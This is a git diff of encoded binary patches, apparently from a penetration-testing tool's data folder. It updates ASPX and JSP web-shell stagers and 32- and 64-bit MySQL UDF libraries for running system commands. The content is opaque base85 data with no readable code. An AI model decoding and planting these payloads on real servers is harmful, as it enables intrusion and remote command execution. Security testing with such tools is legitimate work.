z-9m`=#u3(eB5B?|V*eT|*zpPC4eXw)%Nd(`j(tuFSa#rL36<(T%xCo4OA%@7&@xnpYs)6#Vl7##nkpMAA`R^;@ zQZr4C7aO?Z7x{@vn;$@EI6Jh$9d$RcD#1 zw=?}Ep@J@UEDyCyLXI8K@qIUd(QMV}vz;t}6->#2G(e?_%k$mlu|u4Ltt+EV&>D2! zvFC+EO@#j=rMZVKD zm%LFr62?Iw;ngZGY0LsWny%9{$=fG=^z5PN*=`%#5exIRjj{FTcRozpXvWN@cf{jCgWH1ZlyP8O?VrmMxu}hz zdRSU`f@(QGsVfCx`1)u*N;GB5a7uTAQoED(#^xSov7!cQ)F45NUqhK%7cq!g&0gj@ z$sWbDmxS1i?z@GxuSoW-`L&;IzfKuIH77v$lR+S^iSMFBL;xPgr73I%sBez{JFFQ? z@HI&5FAoS2nQL(Su__KYJ6c>6GB~Ga076Ps)}B$S{_!3CJNJrlYa(UhPrZwQp5H1d zb(%8QB*M;u4aO>*FvWk)9M+9j^NSFwX6TxTO8d?p%M1Same9SUziI`tT9j$GtzL!yI=zr-7!vjU2Q@wA44Y7(S#=_Y-;&{fGpD=gP3gX}T+E zbz@QUOQ38);BrX3n!r;ruRN-UAo&83F*P1px`Jy0))jNvlQCf#hca_w0~|aH3#NSa zM_2_faaFlg4)IBpE?t@$$+Jt=J$-y%O1*;rD|AL-~;L!izc_ zPYksz0EVsFNefdns>Pn>=2m4NeMY74bb53R48v+L$~8KA*EV+k&5k%pFIpk<>q8S& zu4Y+o`x1S|A)r#uRAB82UeTme&KmY(bXndx$VuAH%rw>$t$9gpV2d7Fc9MsI#g}X81S0!Q>G79?2fC*+DPR zWVHT6Nq=v{#)*r8G=iH*KGDLm9X1@!bD~>ErBOzcsdc)4JOvN)`+1O~eAC|E2q&vb zv!ZK2C8NxDLJ{q1G?CWeVC%a%4)3tR#Y2;JcOLp_N?4YYjD$Ybbh=k(4i5sl5WCG3 zcx!$QF24*YXPTmCJZ)_>i||-5rF8F~4tNeS8oPJIq$0_E{cWB@Ex55q1JFKNv)#v7 za8V$Q=d}SEuU+~BXC;NTpqF^j5=y*s%MFHJ9^7p7?n0G#!Py`1kU8ex)3q4o0gbQ+ zK$*k?fAGuAUKF=9ft%yWgf3?WVs%xhKB#nq7W^x8>AEJeaI5&u?>TP+t@i&_{%_&kb(OaUf&i(>=H#CzL! z@TXr%5pqj?k9Iz;!Ghqt;lYl|@4;521Pa~-mo|_JP8|>VBBE_%Y7H@J PC%jb)QuLcZT&!q};muFO literal 1201 zcmV;i1Wx-s(&8kZ7LRRpHC?8Am@w}FOAQ?qjy+U2NtaeE@?VTA5gFM*NT~kx`t6HK zt(jjsYUW@8&d@u1YVAJ{po`r!vHJ#G+GI9t3Ge)<-NJpm+2G~J+6n9fKCHiiX(A7Y z5MP+hVPtLG6&`yUy@G?FCT0$^!k*lkGTfkI=+8k6xgPJ)*ZMe9&SHBON(-4Izs;a$ zKQj}?x~OJ5(Xt)Yp-wvbJ`UpGj*!UJO&dbn5a#WNSi$lXfcn4Lu2gPZmA~pUmaUxk zd3k3_xKB4f(F-I%*Z+BINflW6N^g0BDx0#`>EjPGvV%KV?gdYaCu6vKI5e3I&VSno z^E=D5@1*&y!M>E>tZB=i!;q0}$8I=b8X{4xkYF90v&yVQJRm>jiY$Fot4_1c0f`q& zh!ttd016pIno3Q{iw^)eLwbER9X+-(17mk)?7Ls8hS5CS6!M!SXaiW#b(n>L=Kl)_ zTAw3=C*$+5H{&FnNabGdGt-;`@Tx7CT+Nh-GTZMz!U0ZFIrY3 zXJ63u>oxYUNJjNp0FQ#Jt%3;Oh=jN6jy;KXj`2CRU>=2T*cNL?{;4^z-S57}5t<4} zT4q3|NP$sv+E+%r;^1-+fH}L;BiKKq3lI=l!lFte`4D1^kPuuey%&9AdpsQ~B%^Jh zM0q$JOK`VTcF}0H0a%Mq%93{E2Uw1oXAh`)OZ6!yIoXl&hd0-onb)EtZ2W@DMb5uNGI|;)^L9EPEWm(PkZ0 z)<$?w)E8`%B7txGZbjn?Ch>)G;UDKVcX;Cq@@&-3v=sL;%-;LRaGrAK3K5A#MfDDY z&fLH9<$+Ah{AlJxSfdJvWPadC#pt25zN#1bZg@pvhqk*JW!Vah`@tUiX6ZkX_C!8~ zXO+Wob6R1;zNxC98;6P=J@Eg4CleCR3xaxPid0v|s#J$f1|R|RgITeHQ`XOm3kH^W ziHBuCU4!jbZ4~@JH?Zr{TF$jOcF&RE>PCVibU(*iaDAAQ^rRp3Tfas!4K6>3DxSj> z083vi0lFQ1WV@eL21sKx^U!$_igEtR4Oue)Af9=|+ydxa(rAwsE}4vVIrT7F%l+ng zUsN&J`!@hFI1X8cXn!AFEG!uTS>svPLwtCcy#E{LI0 zL%8`dMb*X4CN!26uAcIohYwmbSWsK2Mu=6SIr%yv>YE#YN{;r;ohq}t+-t6g!_=r$qm)#O;Dd@BDWxHExYO*}Ho7>8qI5-ku* P2)RUFQPrk$W{GBu6oE>U diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ index f20887a96d6fb364fd11c6e5306a1581cd1b0274..3694b2c153395368021f563a12edd6c419c099a2 100644 GIT binary patch literal 529 zcmV+s0`C1is`3UuIkI#lG>yvpoKt@kf!FWUUvg<=3*b({1Ud`fs*_MWMYH!UO#qp+ zu+GZWKzU>j)HI&dTn~RQOIt71OS8UU+)5% zHB4mSvzQqs%cSb>sR!=*21H^d$jiP6lVVap+?9GyU4SoN?WxirWp78>V=DSX^&(K- zeB!j!Jv0&ka)Po?D*b_Qcj-!Tt>ntJLERlJ)vDhUAn_Dkk94lCnssW_!Rd`8AD@0EIlH^8$Uq=NwSB(~uhG9I*WW)x4}?!Qdw0GI-ZiH(DJEF1-n zYo!`~%`rgm`@`S;HCaCdky2*GpnJ|6|&(z9_LYPRNhP9da* zitEJHILvIXl9kIAbsxm3tWe=@%3hY}vv*t^vLmF=w5NU+0!>?)e$9U?2O+-MWy%bi zO>9NMoSg`B$c5M4lOo{yeq=)g=gzNPkV9{B=CE{6C7=#|!mPt}W=?wRSr7C>jRJB1 zQ|G0DJ{2!ANT<9{Qr)0YSnOLQuEqCpijnwWXDZ;5P zCoj9^X?@g})ow?;t~fjp^kC;RS*(uurGP`Iqh()9J99EreS;x0^t|2&OkfJG4KZS) z>QqY~m0v&Ce`os~)v$DgPvDX~i-r-VCzsqS2s^rP9yD(M!Ma_%1GzuCv#5=DR6HcF zM4$^MC5!>glquy8E-o=$EQCJ{PF|cNLlS8{x%W5lZ+mt~Q)0a6iYu=i7}65aQ@$q2 z)e$n8x{Iu)o!+4RhcLl0oUUib9jE#6QSiClN<)5TN5CskCK$<(Dub&m@HmQXg8J&d z1In3b`u=|{G$0}OuJZMSGJyc!Izo+gYq+OV=kMtTyBf<`>O#}Vd#p-t+}?hbuc>5} T{WAvem4_~3JwPXMC0ZQiRQ?0i diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ index beec2ae56ae396d47d2c49d20b2ffc54d9df5fac..f70ac6f9efd09a7f7f37c14d610394ffc3c8fbc1 100644 GIT binary patch literal 1321 zcmV+^1=jjKs^SC>If?=xx2!sH4sM8HRy8Kbf{Ot?B$&m~&kZp6oUpsrU}LEUredNNSWTSn~Qn&1x&6sum|p<26`@HFw3_2{sm2_Zlirp`B#!+f9qxf z$WWxBlpgU#fQWcXq$l=NXjnPv(V2Z5!Wm8+f{18qPL#HrN-6R z`PBHj4N#{3Mb$n)9a(id!$ur|LhQhghVqD5$t$BU6v^AIPeFC3Uync33*j=R`QCN^ zEYQH-fGW4Uxp1mcC`zX^57ILMWs{T;Y#J(~9&mh)HikH$SOY4Os#+?OU9+?TAt~sD z9Az@)QnY7DIoif=K>UR2E!Ox?5LNCbLo9ccq;K%uvmMnq42usm^F2aHZ zq|&nmK`_-|FY$@eewg{!F`C@ezd&O9iOtp*OT*-u)2m&xPkW(6+#o3lq8~_N8q&)s zdi812ngk~Aetrj1N(|Xld#7jbI3#(|zwBEv%{U*h`9APgf@n`xNaH=T8v{5UYBh}o zoBxWV;_$WO$$Wgtbj9gE^=-Q%Y`MY=lS9c)7opXv%nCOx=@o{pAQU{*Jaoru4Uvb* z(UWGBefTjv9XLqT2&h$1!bs%dBHv*fBl6z|gswzxNYZq1m#ekzC@it-Nin zJeN2y^juq`@90tqK;g$mleE(~Fs!D4W69{%d|yRSI1BnZs?{(fTJdQR4V?zu$~yP(q%Y*vsnQ9U=Cg~p4T*Ae*iP>Z1<4#V z&7^|LLyf_bkSD)I%8Jr4C4gwN%34CLm*dmLAg(b{UT4*p?iY2;IamdHZ5M&Qxv0!HD`>Zs)i3|#Sk^-*sm=Gfw_NOt_=0doKRgE;9|6k@GBpAu7mXz3LQ){s|bAUAjW7hvD@Yco7ACDe#)Dv3mb2 z-KL2*QSkH74nzL#%b3;8?~XE9;vgD=jnBzz?L)c|hbb}~)I#dq(Ogm340^?56S(Wk zXQX_Rf;-=+kc$R$_`flq&KFh5cSWwOJ}S6Msy9{KlOKjYL2NKZQrP@rExCls&m|u# zN}J+G$GN71RbBVebG9TIPvabBQ@J8Wm+ZJ{a6{oW4US;o#0I))IUYm&@zU!WV;Ut= zXL1nSaX%a8YV>At)x3j1C?ee=N@DVyizg!ZzsCUD%BArn(WjFC-Jc$ov5*A#%)T;^W}Ic#(YDU#PVlI8-9i*-h?AQz literal 1321 zcmV+^1=jjK(!wP!7LOBkw2cQqG)snIE)@sqt&R|AC%O3J^(a30VnllYr4EBa_=D5%kb_6KGHg-*mPI(n39mf-RAW9 z*3s$j4sn~zfABCsWqDK@>_ZLILCyWWyw`?Uu?vC`JIu=XOkhZrWvVgMbHNjb*4t#N zFY*2Cx(~U#!BC5E2T!(P4D${%U$&YM6gmrnF?DU*HKzrVVkRV#(s~QBa<-*cA_&#C zCO|ypDwIZO7T?!8L*2R97xVJ7rY|mNas^@kVSK@itOtpapvlotBZV+V1BR>-vJamm^wycV)E(< zRq%L+nI#+DL|X|`GA#IYRHAmeI|W4Jg~?ShwHQ8;);r+?fk|>?a>g^WVtpC|IHbh?&npTa(=dpwSTr5=6LHo*4zRlW z>$Yf=1>G$v6Jc;h2kPCc$HfIEyP-a;s=jI>G&A(7WYk$;wM}JzZb7poAze2F3E$Gd z?+2t2SBvr|z8qeRv_Ej|+WR7P=rnvU$c`kn#czqWF)Nt9k6O)tpR^ z6Ot)q_kCuO)y-T9IK>FWp0_wa{0#6HVv=~_^v0)dxqI{m3;zD(Ao#8~h{JN>pU<&k z5FPKD%-cb;%;ewE7~_=ys%(z~aHNMI7&|l8ys^S2Sep=%(VMc};csG*F!umjek+fxw16L2_x#VDH@FDgvKrRWiz@Yis`E6e+?Iv6b*ah> z{_#IVRQue{cyP^FTM+PdoWqAS4vj?)@*)fR9YZo$|Gmn*cDG2daC1~Gpl;4BD$EUG z&V|4Dd8p5l=m(x;<&VQ;CZSb<@PACL@5A!s533*?btb&%%2eUeE-&vcNy331mg2ab zRrKePa^{7nabm>6?KVjM1APm66*r)tmaW}lC`pQ^?+WqcAogMjhREjZw0+U9b5yMm zxR||5(*}$KLdPpdXSxmW5(Nn}Q3Oo)yo&1DOL2`po>=mp4X zl9*Wj(Lx;W0}kK!0X7`MlF|{g8xO`}#mY6N(F_T}UYmcOy~O(%05K$72K9^hvRlF# z=YxkgDbUjKAx7`J$hqkM)vG*MngBbaqRQAl?qY`{y$n1YtYXXk{#ihc4_o+ADV^oZ zAB0`Atv=5Eld3yG!kRyywl{R>SU|t|Jqv|+kP=(m>p!O-ZfPM9QTf487o3X9w*@{5 zWuEgA#F(40Z+Q9A3zh{qVCD@oP?#Tdt;x1&2xGt$B8zdg$0vtd13OLpiSo)jOdm7{ zWK%8fOBxmC64Xaf`ni%7D+AyVa7X-{^9KXjkirp<$%M=n>w=vBrGnLE?W+ed@7ZXd fxN%#s$*?8ayyCeHqePw@<#0fhcNs_MXvJ?aE3kDZbfbpYE3h4q&L|GkVDA@0n$r~{7qJ$P=d%MWN$wz(^g zILr5)N|Y$-7eXW~X~1wcmCo5&0fsFrt3R9s!)qpqjK-9uP(uKvZsJ|A zLi=RdK_8t)@hyQB+B;Ns3rwoh8K)Ang%T+e<+O~&Gea0oYt0XdrY2lwwp>=XMOo1c zZH@?Q%+i;4TrDixZI5q4LwamY*JH+?+moGJJoTj-)E+8Y5OQSX)sA(=0fhcN(#qki67LmxjJ&TVPbJj{{nfT3(72sVBG2)Pk|u!pMOaUapGPDYe1oN`oWr@pOoj4#uTE&zbQGk`xRQzLFKxKNh^-(F3cI>!T*{_)C1%qP?O8P%)uz97~_3?%}s< zQ8=&?0<(14l02Oc%_`d#I7c;kYT-=;uj|)Yd8P~sggT8;z)Bmtw&R+mC}SanLFY{6 zLE2gCdpeUwi4CAM^*%)-2yK_)BZ3^W{W1tM%CVi0Fk&TqQRo4Q-UfX~nOR5TMtJNw zSE~kVwDPuAb0|HJZmv>rd0%2puS4g)^p=bcKh&5g?mHw}Xi`PR`io?c=lbVXXRd^+ z;(esJB1EL4{}J+k2b`hr+*07+nN>&WRSlU4R^xjMmY{4fbAsu;VH7S_NUsw!iR;s` Z8z!7!J>jx`0L^MCgcd!IuX>kspqWw0w@Ls2 diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ index f401c80040626b5e8046702e7e1c0e7658646aa6..bfd4440ba5feda2c2dac8059ba903b35138bafa5 100644 GIT binary patch literal 2512 zcmV;>2`~0Ns+tNPIy;jk_B4BkAPcPFmwGv9*{6o|vQGv}k% zyZhx4h*ipO%hS`n+Bm%F)dZbi=@W|yzTcj<*RGeprn)o%kIzI-VTbNpGD7zJs-XP< zbbFj)f5kBIb=`HQlj}6Xwh9>EgVSbdH3xa@=z0F2!^>s%K(}X;%2?p28o0r?d2YTU zze9mT(^#T=J=xM4Pnjl=ECPMW0fuKpM0KBK>~Aa)nQpfNQR_f0fU+c%m)KG;G(!zi zxm)UwN_l~i6RszY!jpZTh~AC8?pp8R==inhrexfwXaDmB!7a8x9Wi8X54>%c#)@l^ zD(+!YuDhcwOa&1vl=B|u1bw0KaT9~ychk9z7B#E(#b};+~k0a zl9j{n0Ub&{7BD%G?FdMjtDA*~gPobMx;(wEd5AC!>WjgSHr`&~-}&Y_Q~78xv6Zp- z@_jiSyfB?s@SVY<1%o?4pt>xktNg*n!P$BXf77v&rtg=kSU3)O`;RFc(TwY(HDvBk z(JO}}r?H1fspXE#q+Xg~T;C_AM0lH-{+C7azR{Ulp!`F+OSO$gs}tbA+O9{w3)SV- z2r|DN8k)D%h9+y9kvwt<+afp}#hg!hcS0XR`j1N z<)-KlY%Y6^h~?({zJk+^_FQ z2Ey4)l|IU$gSW*wrb7geLby5(o1P=PezyfVrsD+rtdBOEpP;0EfQy6+V@wQOyU zMib8Nz*6`T(<=AilUMhMC7y)4e4NuV zl%I^RS-tH$@YK0L@@(5(ACzFhmQr$wQJ7DBSn%Hsc^XW`Q7}EwHw8r7}kskijYGJ}zAlo6Tclrys{&-w`FS~xU31zKyBpCE5>P0%V zNx=LH6!06IS7eHO5xG{22o_QVI73r5-t%OHV8$09gM>^da=)^=<94WvO%IUZ%E2pH zjNhE9wx-@mO1*o;UyA3(OR;&nj!>nLz9IR8dIDO`Vb~H;wQTyOY3RyL=ufwD0}~8j zrwAJ-J?!ZFXZs^tDCIxcVClk2oDevG+6n+2qE1;??B;)86Y1wMlP_<%8EhySiuTGY zBJEBglX525NT%KK76z6<+-;NE>wcL7e9jMlI7l z9oyXxvRj}Zo3!{RO#6rL7#P)B_!)=oh2Q!D{!!N$Ue5d%-Lhg_JkRLxtA+naESdhO1k*Tz> zfU%Jh2`pu&8R`^nRwVwq*L_-zmrL|dz2B_@>)EHcT>?S6^pj*>&n?&6y=Nj@Vv$k= zAo9PFvSIA}VR^jcQy7=q$%B=*X9zvEQya(^L{&&G)~<7f1BZ5_kg2slEk>dW&dQFc z>Y${3bYjw|>xPBj2c+&OYru%E=IqZH`&+R$l+(K#3&h@(U1}(o@uvlqhq&ND@3mZF z(*I0#qNPUXeI!Na7lwp~fDODyv&$_o^6wOZwP^r6D;fnen|qN2A~&s%@{@7aUnP`L zvKnf08v&nvVZB0oN=iH7&~Lw{i8#q9M>Nn}-0P-E4kY`!jxfVMMPCWOdM9=z<%7gk z)LG}F>9c)`~~pR?T;^ZVWOz* zuhayKu1p7-QiHpArp08>S~`@Z^Y#+ zR4IjbXp4==iy~Ck#;CfAwc7jP4W9+znzfoE8aT(_!cOGmk46`g*G6S^S%q%0;fet8(>>XAw^am==0Dtk zGL*~jPCO=pRrMJw7aHb==!r~p(GeQNp2>2F3)2h~Z3c2tSjAk*9h-zO0JSn`iZ3Z4 z&U@*11HNL_8Et6se! zsNT=#>g#yawsP!G)xlj9`0Zz=t-`75Q$H8U7Opfz*fr~k5jda%FMwsdNeb^0b%^^A{fsj78K z0IVI45=e7jpE#bEDXDAn%DcXEv&>+`0%I5eD68RgO2!u!th0&)4VcFAx?f$4a`V33 aLNlrx4cyOCZk-+Wv(^P^IK5*JM1|Yn$@`}O literal 2512 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 aK@yiKH~GO*7QH;zoYNFMJDgrUexTLbRQl5Z diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ index f442d1f14de078a180462da4ecfdc9254eeb739a..1992ed0347e32a3090e4b5804bea5bb48c9a2772 100644 GIT binary patch literal 3200 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 